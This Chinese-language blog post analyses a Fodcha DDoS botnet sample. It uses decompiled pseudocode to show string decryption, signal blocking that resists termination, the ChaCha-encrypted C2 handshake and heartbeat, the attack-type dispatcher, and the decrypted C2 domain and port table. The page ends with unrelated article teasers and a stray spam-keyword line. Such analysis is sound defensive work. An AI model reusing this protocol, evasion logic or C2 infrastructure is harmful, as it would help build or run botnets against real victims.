<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    fodcha 僵尸網絡病毒分析

    一顆小胡椒2022-05-06 07:19:14

    概述

    最近 fodcha 僵尸網絡泛濫。fodcha 是最近新發現的快速傳播型 DDos 僵尸網絡,由于使用 chacha 算法加密網絡流量,360 將其命名為 Fodcha[2]。該惡意軟件支持多種架構,包括 x86,arm,mips 等。

    本文樣本來自于 MalwareBazaar (?https://bazaar.abuse.ch/)。

    詳細分析

    使用 file 命令查看樣本信息

    fodcha.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
    

    靜態鏈接,32 位并且去除符號表

    查看 main 函數

    int main(int argc,char **argv)
    {
      //...
      if (1 < argc) {
        FUN_0804d670();
        uVar3 = FUN_0804d640(1,&local_15);
        FUN_08051cee(1,uVar3,local_15);
        FUN_08051cee(1,&DAT_080541fc,1);
        iVar4 = FUN_080519ff();
        iVar5 = 0;
        if (iVar4 == 0) {
          FUN_080519d1(0);
          FUN_080519d1(1);
          FUN_080519d1(2);
          FUN_08052180(local_98);
          FUN_08052156(local_98,2);
          FUN_08051c3d(0,local_98,0);
          FUN_08052199(1,1);
          FUN_08052199(0xd,1);
          FUN_08052199(0x11,1);
          FUN_08052199(0x1d,1);
          FUN_08052199(0xf,1);
          FUN_08051c17();
          FUN_080519a3("/");
          uVar3 = FUN_08050f80(ppcVar2[1]);
          DAT_08055760 = FUN_08050e90();
          FUN_0804fe00();
          FUN_0804edb0(ppcVar2,iVar1);
          FUN_080517e0();
          FUN_0804f380();
          FUN_0804f7a0(uVar3);
          iVar5 = 0;
        }
      }
      return iVar5;
    }
    

    首先判斷參數個數,少于 1 個不運行。這種方式可以對抗沙箱。

    如果帶參數,則首先運行FUN_0804d670

    解密字符串

    void FUN_0804d670(void){
      //...
      DAT_08055180 = (byte *)FUN_08052a54(0x10,1);
      DAT_08055184 = 0xf;
      pbVar4 = &DAT_0805422d;
      iVar1 = 0;
      do {
        bVar2 = *pbVar4;
        pbVar4 = pbVar4 + 1;
        DAT_08055180[iVar1] =
             (s_fJiFNaefsedifsaifsi_0805502c[iVar1 % 0x14] ^ bVar2) +
             (char)((int)(char)(s_fJiFNaefsedifsaifsi_0805502c[iVar1 % 0x14] ^ bVar2) / 0xff);
        iVar3 = iVar1 + 1;
        DAT_08055180[iVar1] = DAT_08055180[iVar1] ^ (byte)DAT_08055028;
        iVar1 = iVar3;
      } while (iVar3 != 0xf);
      iVar1 = 0;
      do {
        *DAT_08055180 = *DAT_08055180 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
        DAT_08055180[1] = DAT_08055180[1] ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
        //...
        DAT_08055180[0xd] = DAT_08055180[0xd] ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
        pbVar4 = (byte *)(s_fJiFNaefsedifsaifsi_0805502c + iVar1);
        iVar1 = iVar1 + 1;
        DAT_08055180[0xe] = DAT_08055180[0xe] ^ *pbVar4;
      } while (iVar1 != 0x14);
      pbVar4 = (byte *)FUN_08052a54(0xc,1);
      DAT_0805518c = 0xb;
      DAT_08055188 = pbVar4;
      *pbVar4 = (s_fJiFNaefsedifsaifsi_0805502c[0] ^ 0xe5U) +
                (char)((int)(char)(s_fJiFNaefsedifsaifsi_0805502c[0] ^ 0xe5U) / 0xff);
      bVar2 = (byte)DAT_08055028;
      *pbVar4 = *pbVar4 ^ bVar2;
      pbVar4[1] = (s_fJiFNaefsedifsaifsi_0805502c[1] ^ 0xc4U) +
                  (char)((int)(char)(s_fJiFNaefsedifsaifsi_0805502c[1] ^ 0xc4U) / 0xff);
      //...
      DAT_08055188[10] = DAT_08055188[10] ^ (byte)DAT_08055028;
      do {
        *DAT_08055188 = *DAT_08055188 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
        DAT_08055188[1] = DAT_08055188[1] ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
        //...
        pbVar4 = (byte *)(s_fJiFNaefsedifsaifsi_0805502c + iVar1);
        iVar1 = iVar1 + 1;
        DAT_08055188[10] = DAT_08055188[10] ^ *pbVar4;
      } while (iVar1 != 0x14);
      pbVar4 = (byte *)FUN_08052a54(7,1);
      DAT_08055194 = 6;
      DAT_08055190 = pbVar4;
      *pbVar4 = (s_fJiFNaefsedifsaifsi_0805502c[0] ^ 0xa2U) +
                (char)((int)(char)(s_fJiFNaefsedifsaifsi_0805502c[0] ^ 0xa2U) / 0xff);
      bVar2 = (byte)DAT_08055028;
      *pbVar4 = *pbVar4 ^ bVar2;
      //。。。
      iVar1 = 0;
      do {
        *DAT_08055190 = *DAT_08055190 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
       //。。。
        iVar1 = iVar1 + 1;
        DAT_08055190[5] = DAT_08055190[5] ^ *pbVar4;
      } while (iVar1 != 0x14);
      pbVar4 = (byte *)FUN_08052a54(6,1);
      DAT_0805519c = 5;
      DAT_08055198 = pbVar4;
      //...
      do {
        *DAT_08055198 = *DAT_08055198 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
        //。。。
      } while (iVar1 != 0x14);
      DAT_080551a0 = (byte *)FUN_08052a54(0xf,1);
      DAT_080551a4 = 0xe;
      pbVar4 = &DAT_0805423d;
      iVar1 = 0;
      //...
      do {
        *DAT_080551a0 = *DAT_080551a0 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
        DAT_080551a0[1] = DAT_080551a0[1] ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1];
        ///...
        pbVar4 = (byte *)(s_fJiFNaefsedifsaifsi_0805502c + iVar1);
        iVar1 = iVar1 + 1;
        DAT_080551a0[0xd] = DAT_080551a0[0xd] ^ *pbVar4;
      } while (iVar1 != 0x14);
      pbVar4 = (byte *)FUN_08052a54(9,1);
      //...
      return;
    }
    

    可以看到這里使用了多重 xor 解密了一些數據,具體數據可以根據調試得到

    pwndbg> x/32dx 0x8055180
    0x8055180:	0x08056008	0x0000000f	0x08056020	0x0000000b
    0x8055190:	0x08056030	0x00000006	0x08056040	0x00000005
    0x80551a0:	0x08056050	0x0000000e	0x08056068	0x00000008
    0x80551b0:	0x08056078	0x00000005	0x08056088	0x00000004
    0x80551c0:	0x08056098	0x00000004	0x080560a8	0x00000008
    0x80551d0:	0x080560b8	0x00000003	0x00000000	0x00000000
    0x80551e0:	0x00000000	0x00000000	0x00000000	0x00000000
    0x80551f0:	0x00000000	0x00000000	0x00000000	0x00000000
    pwndbg> x/128s 0x8056008
    0x8056008:	"fridgexperts.cc" ; 看起來像C2服務器地址
    0x805601c:	"\021"
    0x8056020:	"here we are"
    0x805602c:	"\021"
    0x8056030:	"/proc/"
    0x805603c:	"\021"
    0x8056040:	"/stat"
    0x805604c:	"\031"
    0x8056050:	"/proc/self/exe"
    0x8056064:	"\021"
    0x8056068:	"/cmdline"
    0x8056074:	"\021"
    0x8056078:	"/maps"
    0x8056084:	"\021"
    0x8056088:	"/exe"
    0x8056094:	"\021"
    0x8056098:	"/lib"
    0x80560a4:	"\021"
    0x80560a8:	"/usr/lib"
    0x80560b4:	"\021"
    0x80560b8:	".ri"
    

    可以看到,0x8055180 處存儲了 16 個字符串,字符串為一個結構體

    struct Str{
        char *s;
        uint32_t len;
    };
    

    這樣就可以分析出 FUN_0804d640 為獲取第 n 個 str

    char * get_str(int param_1,undefined *param_2){
      if (param_2 != (undefined *)0x0) {
        *param_2 = *(undefined *)&Str_ARRAY_08055180[param_1].len;
      }
      return Str_ARRAY_08055180[param_1].s;
    }
    

    FUN_08051cee 使用了系統調用,查一下 i386 的系統調用表[5],知道這個函數是 write。

    即向命令行輸出了字符串 here we are

    FUN_080519ff 為 sys_fork

    FUN_080519d1 為 sys_close,這里關閉了 stdin, stdout, stderr

    信號處理

    FUN_0805218e 為 memset,FUN_08052180 暫時分析為 clear,但是由于清除的 size 固定,所以應該是特定應用于某個結構體的

    先分析 FUN_08051c3d,這里還是有個系統調用,175 對應于sys_rt_sigprocmask,查找 rt_sigprocmask 的原型,可以知道參數類型,從而推斷出 FUN_08052156 為 sigaddset。

    到這里可以看到,這里屏蔽了 SIGINT 信號,即 Ctrl-C 和普通 kill 命令無法停止程序

    后面還有其它信號的處理操作

    連接C2服務器

    FUN_08051c17為setsid

    然后切換到根目錄

    FUN_08053aeb 為 socketcall。這是 x86-32 架構的 Linux 的唯一socket API[6],原型為

    int syscall(SYS_socketcall, int call, unsigned long *args);
    

    具體操作由 call 決定。根據這個函數,就可以通過交叉引用推斷出其它一系列函數。call 的定義可以從[3]中查閱。

    FUN_08051f48: sys_bind
    FUN_08051f73: sys_connect
    FUN_08051f9e: sys_getsockname
    FUN_08051fc9: sys_getsockname
    FUN_08052004: sys_recv
    FUN_08052037: sys_recvfrom
    FUN_0805207a: sys_send
    FUN_080520ad: sys_sendto
    FUN_080520f0: sys_setsockopt
    FUN_0805212b: sys_socket
    

    這里連接了 8.8.8.8,

    undefined4 FUN_08050e90(void)
    {
      // 。。。
      
      local_c = 0x10;
      iVar1 = sys_socket(2,2,0);
      local_18 = 0;
      if (iVar1 != -1) {
        local_18 = 0x8080808;
        local_1c = 2;
        local_1a = 0x3500;
        sys_connect(iVar1,&local_1c,0x10);
        sys_getsockname(iVar1,&local_1c,&local_c);
        sys_close(iVar1);
      }
      return local_18;
    }
    

    FUN_0804fe00 獲取了時間并生成隨機數

    void FUN_0804fe00(void)
    {//...
      _DAT_08055730 = FUN_08051ae2("/dev/urandom",0);
      DAT_08055720 = FUN_08051c92(0); // time
      uVar1 = FUN_08051a25(); // getpid
      uVar2 = FUN_08051a4b(); // getppid
      DAT_08055724 = uVar1 ^ uVar2;
      DAT_08055728 = FUN_08051f0f(); // (tms0.tms_stime + tms0.tms_utime) * 10000 & 0x7fffffff
      DAT_0805572c = DAT_08055728 ^ DAT_08055724;
      return;
    }
    

    即利用 PID、PPID 和時間來生成隨機數

    FUN_08051d94 關閉了 /dev 的 close_on_exec 標志

    這里是連接 C2 的主函數

    void FUN_0804f7a0(undefined4 param_1)
    {
      //...
      do {
        switch(_switch_ctl0) {
        case 0:
          FUN_0804f3c0();
          break;
        case 1:
          local_18 = 4;
          if ((((*(byte *)((int)fd_set_08055620.fds_bits +
                          ((int)(_pub_fd & 0x1f) >> 3) + (_pub_fd >> 5) * 4) >> (_pub_fd & 7) & 1) == 0)
              || (iVar2 = sys_getsockopt(_pub_fd,1,4,&local_14,&local_18), iVar2 != 0)) ||
             (local_14 != 0)) {
            _switch_ctl0 = 0;
            sys_close(_pub_fd);
            iVar2 = thunk_FUN_08053365();
            FUN_08053472(iVar2 % 5 + 2);
            if (_switch_ctl0 != 5) break;
          }
          else {
            _switch_ctl0 = 5;
          }
          FUN_0804d5c0(&pub_fd);
          _switch_ctl0 = 2;
          break;
        case 2:
          iVar2 = FUN_0804f4e0(&DAT_080555f4,0x20);
          if ((iVar2 < 1) || (iVar2 != 0x20)) {
    LAB_0804faa0:
            _switch_ctl0 = 0;
            sys_close(_pub_fd);
            iVar2 = thunk_FUN_08053365();
            FUN_08053472(iVar2 % 5 + 2);
          }
          else {
            _switch_ctl0 = 3;
          }
          break;
        //。。。
        }
        iVar2 = 0x20;
        p_Var3 = fd_set_080556a0.fds_bits;
        for (; iVar2 != 0; iVar2 = iVar2 + -1) {
          *p_Var3 = 0;
          p_Var3 = p_Var3 + 1;
        }
        iVar2 = 0x20;
        p_Var3 = fd_set_08055620.fds_bits;
        for (; iVar2 != 0; iVar2 = iVar2 + -1) {
          *p_Var3 = 0;
          p_Var3 = p_Var3 + 1;
        }
        if (_switch_ctl0 < 2) {
          pbVar1 = (byte *)((int)fd_set_08055620.fds_bits +
                           ((int)(_pub_fd & 0x1f) >> 3) + (_pub_fd >> 5) * 4);
          *pbVar1 = *pbVar1 | '\x01' << (_pub_fd & 7);
        }
        else {
          pbVar1 = (byte *)((int)fd_set_080556a0.fds_bits +
                           ((int)(_pub_fd & 0x1f) >> 3) + (_pub_fd >> 5) * 4);
          *pbVar1 = *pbVar1 | '\x01' << (_pub_fd & 7);
        }
        local_28.tv_usec = 0;
        local_28.tv_sec = 5;
        iVar2 = select(_pub_fd + 1,&fd_set_080556a0,&fd_set_08055620,(fd_set *)0x0,&local_28);
        if ((iVar2 < 1) && ((_switch_ctl0 != 6 || (iVar2 = sys_time(0), _DAT_080555ec + 600 <= iVar2))))
        {
          _switch_ctl0 = 0;
          sys_close(_pub_fd);
          iVar2 = thunk_FUN_08053365();
          FUN_08053472(iVar2 % 5 + 2);
        }
      } while( true );
    }
    

    case 0: FUN_0804f3c0 負責連接 C2 服務器,可以看到端口是通過隨機種子加偽隨機數得到的。

    void FUN_0804f3c0(void){//...
      addr.sa_data._2_4_ = 0;
      addr.sa_data._6_4_ = 0;
      addr.sa_data._10_4_ = 0;
      addr._0_4_ = 2;
      uVar1 = next_rand_num();
      addr._0_4_ = addr._0_4_ & 0xffff |
                   (uint)(ushort)(ports[uVar1 % 10] >> 8 | ports[uVar1 % 10] << 8) << 0x10;
      uVar2 = get_str(0,0);
      pbVar3 = (byte *)FUN_08050860(uVar2);
      if (pbVar3 != (byte *)0x0) {
        iVar1 = *(int **)(pbVar3 + 4);
        uVar1 = next_rand_num();
        addr.sa_data._2_4_ = iVar1[uVar1 % (uint)*pbVar3];
        FUN_08050830(pbVar3);
        _pub_fd = sys_socket(AF_INET,SOCK_DGRAM,0);
        sys_fcntl(_pub_fd,4,0x800);
        connect(_pub_fd,&addr,0x10);
        _DAT_080555f0 = 1;
        return;
      }
      FUN_08050830(0);
      return;
    }
    

    端口如下

                                 ports                                           XREF[1]:     FUN_0804f3c0:0804f403(R)  
            08054414 07 11 99        ushort[10]
                     20 2a 20 
                     f5 21 1d 
               08054414 [0]             1107h,  2099h,  202Ah,  21F5h
               0805441c [4]             201Dh,  AAE1h,  1DE6h,  1C9Ch
               08054424 [8]             A8DFh,   457h
    

    case 1: 發送了一個 checksum

    int __cdecl sub_804D5C0(unsigned int *a1)
    {
      //...
      *(_DWORD *)v2 = 238;
      v2[4] = 0;
      *(_WORD *)&v2[3] = checksum(v2, 5);
      v3 = *(_DWORD *)v2;
      v4 = v2[4];
      send(*a1, (unsigned int)&v3, 5u, 0x4000u);
      result = 2;
      a1[260] = 2;
      return result;
    }
    

    checksum 的計算方式

    for ( i = a2; i > 1; v2 += v5 )
      {
        v5 = *a1;
        i -= 2;
        ++a1;
      }
      if ( i == 1 )
        v2 += *(char *)a1;
      return (unsigned __int16)~(((unsigned int)((unsigned __int16)v2 + HIWORD(v2)) >> 16) + v2 + HIWORD(v2));
    

    然后 case 2收取一定數量的數據,并發送一些 chacha 加密的數據

    case 3:

    v4 = recv_some_data((int)&timeout, (int)&unk_8055614, 0xCu);
            if ( v4 <= 0 || v4 != 12 )
            {
              switch_ctl0 = 0;
              close(fd);
              v7 = rand() % 5;
              ((void (__cdecl *)(int))loc_8053472)(v7 + 2);
            }
            switch_ctl0 = 3;
            chacha_init(v9);
            chacha(&unk_80555F4, 1, &unk_8055614, v9, v9, 5);
            send(fd, (unsigned int)v9, 5u, 0x4000u);
            switch_ctl0 = 4;
            break;
    

    首先收取一個數據,然后使用 chacha 加密

    case 4:

    case 4:
            if ( recv(fd, (unsigned int)&byte_80555E4, 5u, 0x4000u) != 5 || byte_80555E4 != 85 )
            {
    LABEL_21:
              switch_ctl0 = 0;
              close(fd);
              v5 = rand() % 5;
              ((void (__cdecl *)(int))loc_8053472)(v5 + 2);
            }
            dword_80555EC = sys_time(0);
            sub_804D450(&fd, a1);
            switch_ctl0 = 6;
            break;
    

    首先收取數據,判斷數據頭和數據長度,再通過sub_804D450發送兩個數據

    sub_804D450:

    v6[6] = v6;
      v2 = sub_8050D80(a2);
      *(_DWORD *)v8 = 0;
      v8[4] = 0;
      v3 = v2;
      if ( (_WORD)v2 )
        *(_WORD *)&v8[1] = __ROR2__(v2, 8);
      v8[0] = -2;
      *(_WORD *)&v8[3] = checksum((unsigned __int16 *)v8, 5u);
      v9 = *(_DWORD *)v8;
      v10 = v8[4];
      v4 = alloca(v3 + 16);
      chacha((unsigned __int8 *)(a1 + 1044), 1, (int *)(a1 + 1076), (int)a2, (int)v7, v3);
      send(*(_DWORD *)a1, (unsigned int)&v9, 5u, 0x4000u);
      return send(*(_DWORD *)a1, (unsigned int)v7, v3, 0x4000u);
    

    即硬編碼的數據,經過 checksum,再經過 chacha 算法加密,然后發送給 C2。

    case 6: 只有一個函數 sub_804F640

    char __usercall sub_804F640@(int a1@)
    {
      //...
      LOBYTE(v1) = _bittest(&readfds.__fds_bits[(unsigned int)fd >> 5], fd & 0x1F);
      if ( (_BYTE)v1 )
      {
        v1 = recv(fd, (unsigned int)&byte_80555E4, 5u, 0x4000u);
        if ( v1 != -1 )
        {
          if ( v1 != 5 )
            goto LABEL_5;
          word_80555E5 = __ROR2__(word_80555E5, 8);
          v3 = recv_some_data(a1, (int)&unk_80551E4, word_80555E5);
          if ( word_80555E5 )
          {
            if ( v3 <= 0 )
              goto LABEL_5;
          }
          chacha(&unk_80555F4, 1, &unk_8055614, &unk_80551E4, &unk_80551E4, v3);
          if ( byte_80555E4 == -21 )
          {
            LOBYTE(v1) = sub_8048320(&fd, &unk_80551E4);
            return v1;
          }
          if ( byte_80555E4 == -5 )
            sub_805340B(1);
          if ( byte_80555E4 != 105 )
          {
    LABEL_5:
            switch_ctl0 = 0;
            close(fd);
            v2 = rand() % 5;
            ((void (__cdecl *)(int))loc_8053472)(v2 + 2);
          }
          LOBYTE(v1) = sub_804D540(&fd);
        }
      }
      return v1;
    }
    

    接收一些數據,并且判斷接受的數據頭是不是 0x69,如果不是就退出。最后 sub_804D540 發送了和時間相關的 checksum。這個可能是心跳包。

    溝通順序為 0->1->2->3->4,最后會循環發送心跳包

    case 6 還負責接收命令,命令表格如下

    命令含義0x69心跳0xFB退出0xEBDDos攻擊

    Ddos函數

    int __cdecl sub_8048320(int a1, int a2)
    {
      //...
      result = fork();
      if ( !result )
      {
        if ( !fork() )
          ((void (__cdecl *)(int))loc_8053472)(v20);
        switch ( atk_type )
        {
          case 0:
            sub_804BC60(&atk_type);
          case 2:
            sub_804A990(&atk_type);
            break;
          case 3:
            sub_8048940(&atk_type);
            break;
          case 4:
            sub_804A2E0(&atk_type);
          case 5:
            sub_8049A60(&atk_type);
            break;
          case 6:
            sub_8049E70(&atk_type);
            break;
          case 7:
            sub_804B320(&atk_type);
            break;
          case 8:
            sub_8049560(&atk_type);
            break;
          case 9:
            sub_804AC60(&atk_type);
          case 10:
            sub_80485A0(&atk_type);
          case 11:
          case 12:
            sub_804B8B0(&atk_type);
          case 13:
            sub_804C010(&atk_type);
          case 14:
            sub_804C470(&atk_type);
            break;
          case 15:
            sub_804C880(&atk_type);
            break;
          case 16:
            sub_8048E60(&atk_type);
            break;
          case 17:
            sub_8049180(&atk_type);
            break;
          default:
            break;
        }
        ((void (__cdecl *)(int))loc_8053472)(5);
      }
      return result;
    }
    

    會進行不同的攻擊。具體攻擊類型期待學到更多的 DDos 漏洞知識再探索。

    總結

    這種靜態鏈接的文件比較難的地方就是各種運行時庫,個人覺得突破口就是系統調用以及 Linux 這種開源代碼的在線源碼閱讀器。但是依然會導致分析困難。更好的做法是使用靜態鏈接庫簽名或二進制比對,可以更高效更準確地識別靜態鏈接庫。一般這種 botnet 功能較為簡單,但是靜態鏈接導致分析難度加大了。

    該 Botnet 利用了多種 DDos 漏洞進行傳播,并且使用 Linux 信號機制防止自己被殺死,便于在肉雞上長久駐留。由于本人能力有限,還有諸多細節未分析到位。待能力成長會再次分析。

    IoC

    項目md5fodcha.elff1fefc5343680c40940ea1fbf99ab61dc2服務器fridgexperts.cc

    參考資料

    [1] radare2 book:https://book.rada.re/

    [2] CNCERT:關于Fodcha僵尸網絡大規模傳播的風險提示:https://www.secrss.com/articles/41246

    [3] net.h--linux source code:https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/net.h#L27

    [4] 新的Fodcha DDoS僵尸網絡每天針對100多名受害者--安全客:https://www.anquanke.com/post/id/272059

    [5] List of Linux/i386 system calls:http://asm.sourceforge.net/syscall.html

    [6] socketcall(2) — Linux manual page:https://man7.org/linux/man-pages/man2/socketcall.2.html

    charfun函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    關于堆棧ShellCode操作:基礎理論002-利用fs寄存器尋找當前程序dll的入口:從動態運行的程序中定位所需dll003-尋找大兵LoadLibraryA:從定位到的dll中尋找所需函數地址004-被截斷的shellCode:加解密,解決shellCode的零字截斷問題
    幾乎所有Win32程序都會加載ntdll.dll和kernel32.dll這兩個基礎的動態鏈接庫。64位系統首先通過選擇字GS在內存中找到當前存放著指向當前線程環境塊TEB。進程環境塊中偏移位置為0x18的地方存放著指向PEB_LDR_DATA結構體的指針,其中,存放著已經被進程裝載的動態鏈接庫的信息。模塊初始化鏈表 InInitializationOrderModuleList中按順序存放著 PE 裝入運行時初始化模塊的信息,第一個鏈表結點是 ntdll.dll,第二個鏈表結點就是 kernel32.dll。從kernel32.dll的加載基址算起,偏移0x3C的地方就是其PE頭。
    該篇文章將會從我學習這項技術的視角,講述我屢次失敗的經歷,一點點深入。
    可以看到有兩個printf函數打印了一些數據出來,我們點第一個打印的字符串。
    概述最近 fodcha 僵尸網絡泛濫。fodcha 是最近新發現的快速傳播型 DDos 僵尸網絡,由于使用 chacha 算法加密網絡流量,360 將其命名為 Fodcha[2]。該惡意軟件支持多種架構,包括 x86,arm,mips 等。
    源碼分析1、LLVM編譯器簡介LLVM 命名最早源自于底層虛擬機的縮寫,由于命名帶來的混亂,LLVM就是該項目的全稱。LLVM 核心庫提供了與編譯器相關的支持,可以作為多種語言編譯器的后臺來使用。自那時以來,已經成長為LLVM的主干項目,由不同的子項目組成,其中許多是正在生產中使用的各種 商業和開源的項目,以及被廣泛用于學術研究。
    由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。 如果文章中的漏洞出現敏感內容產生了部分影響,請及時聯系作者,望諒解。
    前文再續,書接上一回《Windows內核提權漏洞CVE-2018-8120的分析·上》(https://www.anquanke.com/post/id/241057)?。
    它能夠根據類的全限定名查找并獲取類的相關信息,如父類、接口、字段、方法等。它可以讀取DEX文件中的字符串,比如類名、方法名、字段名等,并提供相關的字符串處理功能。
    Android 應用gl,使用了加固i,老版本的應用gl是js源碼,新版本更新后,剛開始以為是加密了源碼,分析后才知道是使用了Hermes優化引擎。Hermes優化的優化效果如下:優化前:優化后:二、前期準備2.1 繞過root檢測應用gl使用了加固i,在被root 的手機上運行,閃退。繞過方法也很簡單,在magisk的設置中,開啟遵守排除列表,然后在配置排除列表中選擇應用gl。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类